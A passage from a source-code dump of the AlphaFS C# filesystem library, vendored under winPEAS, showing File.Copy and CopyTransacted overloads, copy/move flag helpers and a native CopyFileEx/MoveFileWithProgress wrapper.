copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = copyOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.CopyMoveLogic.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Checks if the <see cref=\"MoveOptions.CopyAllowed\"/> flag is specified.</summary>\n      internal static bool HasCopyAllowed(MoveOptions? moveOptions)\n      {\n         return Utils.IsNotNull(moveOptions) && (moveOptions & MoveOptions.CopyAllowed) != 0;\n      }\n\n\n      /// <summary>Checks if the <see cref=\"CopyOptions.CopySymbolicLink\"/> flag is specified.</summary>\n      internal static bool HasCopySymbolicLink(CopyOptions? copyOptions)\n      {\n         return Utils.IsNotNull(copyOptions) && (copyOptions & CopyOptions.CopySymbolicLink) != 0;\n      }\n\n\n      /// <summary>Checks if the <see cref=\"MoveOptions.DelayUntilReboot\"/> flag is specified.</summary>\n      internal static bool HasDelayUntilReboot(MoveOptions? moveOptions)\n      {\n         return Utils.IsNotNull(moveOptions) && (moveOptions & MoveOptions.DelayUntilReboot) != 0;\n      }\n\n\n      /// <summary>Checks if the <see cref=\"CopyOptions.CopyTimestamp\"/> flag is specified.</summary>\n      internal static bool HasCopyTimestamps(CopyOptions? copyOptions)\n      {\n         return Utils.IsNotNull(copyOptions) && (copyOptions & CopyOptions.CopyTimestamp) != 0;\n      }\n\n\n      /// <summary>Checks if the <see cref=\"MoveOptions.ReplaceExisting\"/> flag is specified.</summary>\n      internal static bool HasReplaceExisting(MoveOptions? moveOptions)\n      {\n         return Utils.IsNotNull(moveOptions) && (moveOptions & MoveOptions.ReplaceExisting) != 0;\n      }\n\n\n      /// <summary>Determine the Copy or Move action.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      internal static bool IsCopyAction(CopyMoveArguments cma)\n      {\n         // Determine Copy or Move action.\n\n         var isMove = Utils.IsNotNull(cma.MoveOptions) && Equals(null, cma.CopyOptions);\n\n         var isCopy = !isMove && Utils.IsNotNull(cma.CopyOptions);\n\n         if (isCopy.Equals(isMove))\n            throw new NotSupportedException(Resources.Cannot_Determine_Copy_Or_Move);\n\n         return isCopy;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.CopyMoveNative.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      // Symbolic Link Effects on File Systems Functions: https://msdn.microsoft.com/en-us/library/windows/desktop/aa365682(v=vs.85).aspx\n\n\n      // MSDN: If lpProgressRoutine returns PROGRESS_CANCEL due to the user canceling the operation,\n      // CopyFileEx will return zero and GetLastError will return ERROR_REQUEST_ABORTED.\n      // In this case, the partially copied destination file is deleted.\n      //\n      // If lpProgressRoutine returns PROGRESS_STOP due to the user stopping the operation,\n      // CopyFileEx will return zero and GetLastError will return ERROR_REQUEST_ABORTED.\n      // In this case, the partially copied destination file is left intact.\n\n\n      // Note: MoveFileXxx fails if one of the paths is a UNC path, even though both paths refer to the same volume.\n      // For example, src = C:\\TempSrc and dst = \\\\localhost\\C$\\TempDst\n\n      // MoveFileXxx fails if it cannot access the registry. The function stores the locations of the files to be renamed at restart in the following registry value:\n      //\n      //    HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\PendingFileRenameOperations\n      //\n      // This registry value is of type REG_MULTI_SZ. Each rename operation stores one of the following NULL-terminated strings, depending on whether the rename is a delete or not:\n      //\n      //    szDstFile\\0\\0              : indicates that the file szDstFile is to be deleted on reboot.\n      //    szSrcFile\\0szDstFile\\0     : indicates that szSrcFile is to be renamed szDstFile on reboot.\n\n\n      [SecurityCritical]\n      private static bool CopyMoveNative(CopyMoveArguments cma, bool isMove, string sourcePathLp, string destinationPathLp, out bool cancel, out int lastError)\n      {\n         cancel = false;\n\n         var success = null == cma.Transaction || !NativeMethods.IsAtLeastWindowsVista\n\n            // CopyFileEx() / CopyFileTransacted() / MoveFileWithProgress() / MoveFileTransacted()\n            // 2013-04-15: MSDN confirms LongPath usage.\n\n\n            ? isMove\n               ? NativeMethods.MoveFileWithProgress(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, (MoveOptions) cma.MoveOptions)\n\n               : NativeMethods.CopyFileEx(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, out cancel, (CopyOptions) cma.CopyOptions)\n\n            : isMove\n               ? NativeMethods.MoveFileTransacted(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, (MoveOptions) cma.MoveOptions, cma.Transaction.SafeHandle)\n\n               : NativeMethods.CopyFileTransacted(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, out cancel, (CopyOptions) cma.CopyOptions, cma.Transaction.SafeHandle);\n\n\n         lastError = Marshal.GetLastWin32Error();\n\n\n         return success;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.CopyTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved; otherwise, <c>false</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// 